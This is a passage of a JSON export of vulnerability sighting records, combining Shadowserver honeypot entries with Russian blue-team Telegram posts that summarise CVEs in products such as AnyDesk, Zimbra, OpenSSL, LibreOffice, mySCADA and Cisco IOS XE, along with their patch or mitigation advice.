IP-\u0430\u0434\u0440\u0435\u0441\u0443, \u043e\u0431\u0445\u043e\u0434\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043a\u0430\u043a \u043b\u0430\u0437\u0435\u0439\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2025-0683 \u2014 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0430\u0446\u0438\u0435\u043d\u0442\u0435 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0430 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 IP-\u0430\u0434\u0440\u0435\u0441. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043b\u044e\u0431\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u044d\u0442\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f MITM-\u0430\u0442\u0430\u043a\u0438 (machine-in-the-middle). \n\nFDA \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0431 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0442\u0430\u043a\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043b\u0438 \u043d\u0430 \u043d\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430. \u0415\u0441\u043b\u0438 \u0434\u0430, FDA \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u043d\u0438\u0442\u043e\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u043b\u0435\u0447\u0430\u0449\u0438\u043c \u0432\u0440\u0430\u0447\u043e\u043c \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0438\u0441\u043a\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b. \u0415\u0441\u043b\u0438 \u043d\u0435\u0442 \u2014 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430.\n\n#blue_team #CVE #\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0430", "creation_timestamp": "2026-08-05T00:00:10.831845Z"}, {"uuid": "c3ae624a-e02c-401f-95c9-4bc49e06dd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-01)", "content": "", "creation_timestamp": "2026-05-01T00:00:00.000000Z"}, {"uuid": "fb90e18f-2aea-42ce-8211-70af587f7e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-02)", "content": "", "creation_timestamp": "2026-08-03T10:04:23.175229Z"}, {"uuid": "54026cbd-7d60-42a3-80e3-ce0acaed4c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/purp_sec/253", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\nCVE-2024-12754 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0447\u0442\u0435\u043d\u0438\u044f/\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u043e\u0439 AnyDesk \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 NT AUTHORITY\\SYSTEM.\n\nCVE-2025-25064 (SQLi) \u0438 CVE-2025-25065 (SSRF) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Zimbra Collaboration, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\nCVE-2025-24786 (Path Traversal) \u0438 CVE-2025-24787 (Parameter Injection) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WhoDB, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u0438 \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\nCVE-2024-48510 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ABB Drive Composer. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442-\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b Drive Composer.\n\nCVE-2025-0896 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Orthanc, DICOM-\u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0441\u0444\u0435\u0440\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f. \u0422\u043e \u0435\u0441\u0442\u044c \u043b\u044e\u0431\u043e\u0439, \u0443 \u043a\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043a \u043d\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Orthanc, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0438 \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u043d\u0430 \u043d\u0435\u043c \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:21.304726Z"}, {"uuid": "b74c36fc-f5c2-4dea-bfe9-e6722fbd8787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/purp_sec/263", "content": "\ud83d\udee1\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12797), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e Raw Public Key (RPK)\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RFC7250 RPK \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043c\u043e\u0433\u0443\u0442 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0445\u0435\u043d\u0434\u0448\u0435\u0439\u043a\u043e\u0432 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 SSL_VERIFY_PEER. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0435\u0441\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0430\u0442 \u0441\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f TLS \u0438 DTLS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RPK, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f MITM-\u0430\u0442\u0430\u043a.\n\nRPK \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 TLS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 RPK \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509.\n\n\u0423\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u0430\u0442\u0447\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0438 OpenSSL. \n\n#blue_team #CVE #OpenSSL", "creation_timestamp": "2026-08-05T00:00:21.640539Z"}, {"uuid": "46bc5b21-9fc6-4f32-a78e-a966de7c32fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team 